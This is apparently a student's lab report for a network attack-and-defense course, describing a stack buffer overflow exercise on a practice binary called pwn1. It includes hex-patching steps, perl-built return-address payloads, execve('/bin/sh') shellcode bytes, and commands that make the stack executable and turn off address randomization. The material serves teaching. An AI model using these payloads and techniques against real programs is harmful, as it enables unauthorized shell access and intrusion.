# [20212901 薛德凡2021-2022-2 《网络攻防实践》第九次作业 ]
[20212901 薛德凡2021-2022-2 《网络攻防实践》第九次作业 ]
一、实践内容
-
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
- 三个实践内容如下:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
2.实验要求
- 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
- 掌握反汇编与十六进制编程器
- 能正确修改机器指令改变程序执行流程
- 能正确构造payload进行bof攻击
- 三个实践内容如下:
二、实验相关知识
1、汇编语言(Assembly Language)是任何一种用于电子计算机、微处理器、微控制器或其他可编程器件的低级语言,亦称为符号语言。在汇编语言中,用助记符代替机器指令的操作码,用地址符号或标号代替指令或操作数的地址。在不同的设备中,汇编语言对应着不同的机器语言指令集,通过汇编过程转换成机器指令。特定的汇编语言和特定的机器语言指令集是一一对应的,不同平台之间不可直接移植。
2、反汇编(Disassembly):把目标代码转为汇编代码的过程,也可以说是把机器语言转换为汇编语言代码、低级转高级的意思,常用于软件破解(例如找到它是如何注册的,从而解出它的注册码或者编写注册机)、外挂技术、病毒分析、逆向工程、软件汉化等领域。学习和理解反汇编语言对软件调试、漏洞分析、OS的内核原理及理解高级语言代码都有相当大的帮助,在此过程中我们可以领悟到软件作者的编程思想。总之一句话:软件一切神秘的运行机制全在反汇编代码里面。
3、缓冲区溢出是指当计算机向缓冲区填充数据时超出了缓冲区本身的容量,溢出的数据覆盖在合法数据上。
危害有以下两点: 1、程序崩溃,导致拒绝服务2、跳转并且执行一段恶意代码 原因:造成缓冲区溢出的主要原因是程序中没有仔细检查用户输入。 所谓缓冲区可以更抽象地理解为一段可读写的内存区域,缓冲区攻击的最终目的就是希望系统能执行这块可读写内存中已经被蓄意设定好的恶意代码。按照冯·诺依曼存储程序原理,程序代码是作为二进制数据存储在内存的,同样程序的数据也在内存中,因此直接从内存的二进制形式上是无法区分哪些是数据哪些是代码的,这也为缓冲区溢出攻击提供了可能。
三、实践过程
1、动手实践任务一:手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
(1)在kali中打开文件pwn1,使用命令objdump -d pwn1 | more
对该文件进行反汇编。
(2)找到下方的main函数,在main函数的部分可以看到e8 d7 ff ff ff,此处e8表示跳转,而它跳转的地址为8048491,该位置表示foo函数,此时我们需要将跳转地址更改为getShell函数的入口0x0804847d
,将call后的跳转部分从d7ffffff修改为c3ffffff(0x0804847d - 0x080484ba = 0xffffffc3)。则当执行到这一步时,就能够顺利跳转到getShell函数。
(3)接下来根据上述分析更改pwn1文件。利用命令vi pwn1
修改文件,发现是乱码无法找到更改位置。
(4)使用命令%!xxd
进入十六进制,查看其中具体内容。
(5)将此处的d7更改为c3,再次输入命令%!xxd
转为原来的格式,利用命令:wq
保存更改的内容
再次利用命令objdump -d pwn2 | more
反汇编pwn1文件,查看上述操作是否更改了其中main函数call的部分,下图表示已经成功。
2、动手实践任务二:利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
(1)在kali中使用命令objdump -d pwn1 | more
对该文件进行反汇编。找到其中的foo函数,该函数主要是通过gets函数来读取用户的输入,并用puts函数输出,然而该foo函数没有检查用户的输入是否合法,因此存在缓冲区溢出攻击的可能性。查询相关资料得到gets函数读取的字符包含了28个字节大小,那么超出的部分就会发生缓冲区溢出。
(2)利用gdb命令,输入1111111122222222333333334444444455555555
来测试缓冲区溢出,可以发现其中eip寄存器的值为0x35353535
(3)接下来输入1111111122222222333333334444444412345678
来测试缓冲区溢出,并查看其中的eip寄存器值为0x34333231.分别对应的是4321三个数值的ASCII码值,也就是说gdb中的1234会覆盖eip寄存器。
(4)因此我们只需要修改第33~36个字节的内容为 getShell 的内存地址即可让foo函数运行时跳到getShell。由于键盘无法直接输入十六进制,使用命令perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a
进行转换,得到替换的值
(5)利用./pwn1
命令输入该指令发现出现问题,分析是输入与预想不一致
(6)更换命令为(cat input;cat) | ./pwn1
,即可发现能够运行ls命令,运行了getShell
3、动手实践任务三:注入一个自己制作的shellcode并运行这段shellcode
(1)输入命令execstack -s pwn1
,将堆栈设置为可执行状态,输入命令execstack -q pwn1
,查看pwn1文件的堆栈是否可执行。输入命令more /proc/sys/kernel/randomize_va_space
查询是否关闭地址随机化,输入命令echo "0"> /proc/sys/kernel/randomize_va_space
关闭地址随机化
(2)本处采用retaddr+nop+shellcode方法。利用命令perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
来构造会产生缓冲区溢出的37个字节输入串
(3)利用命令(cat input_shellcode;cat) | ./pwn1
,将input_shellcode注入pwn1。
(4)新打开一个终端,在其中输入命令ps -ef | grep pwn1
,得到pwn1的进程号为4101
(5)利用gdb进行调试
(6)利用命令disassemble foo,可以得到ret的地址为0x080484ae
(7)利用命令break *0x080484ae
设置断点,输入c继续运行。在第一个终端中按回车,第二个终端中输入命令info r esp
查看改地址存放的数据
(8)利用命令x/16x 0xffffd16c
,得到其中返回的地址为0x01020304,因此通过0xffffd16c+0x00000004=0xffffd170可以得到对应的地址
(9)利用命令perl -e 'print "A" x 32;print "\x70\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode,翻译得到对应的输入
(10)利用(cat input_shellcode;cat) | ./pwn1
注入,下图得到运行成功
四、学习中遇到的问题及解决
问题1:安装execstack后找不到相应的包
问题1解决方案:修改sources.list,在其中添加
deb http://http.kali.org/kali sana main non-free contrib
deb http://security.kali.org/kali-security sana/updates main contrib non-free
deb http://old.kali.org/kali moto main non-free contrib即可
问题2:kali不识别gdb命令
问题2解决方案:利用命令sudo apt install gdb
和sudo apt install gdb-minimal
能够安装gdb相关包
五、实践总结
本次实验主要是关于缓冲区溢出,本科期间学习过汇编、寄存器等相关知识,但是太久没用了(忘差不多了),因此很多知识都需要查资料和问同学,相比于前面的实验来说难度较大,很多工具例如gdb、execstack等等都是第一次使用,日后还需多多学习。